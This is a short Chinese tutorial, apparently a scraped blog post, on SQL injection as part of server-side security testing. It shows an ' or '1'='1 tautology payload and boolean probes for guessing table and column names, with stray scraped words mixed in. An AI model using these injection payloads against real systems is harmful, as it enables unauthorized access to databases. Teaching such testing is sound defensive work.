服務端安全性測試

一、sql注入

經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
(1)利用sql中的and和or的邏輯關係,繞過漏洞。如:
輸入書名{title},查詢用戶信息的sql。若是輸入 天龍八部' or '1' = '1,那麼sql以下:sql

select * from table_name where title = '{title}'
==>
select * from table_name where title = '天龍八部' or '1' = '1'

以下圖,會查出全部的信息。
clipboard.png數據庫

(2)猜數據庫表名或列名
猜表名
and (select count(*) from 表名)<>0
猜列名
and (select count(列名) from 表名)<>0
或者也能夠這樣
and exists (select * from 表名)
and exists (select 列名 from 表名)服務器

若是存在,and 後面的條件=True,會返回查詢結果,就至關於存在該表名、或列名。spa

猜錯列名的狀況:
clipboard.png
猜對列名的狀況:code

clipboard.png

相關文章
相關標籤/搜索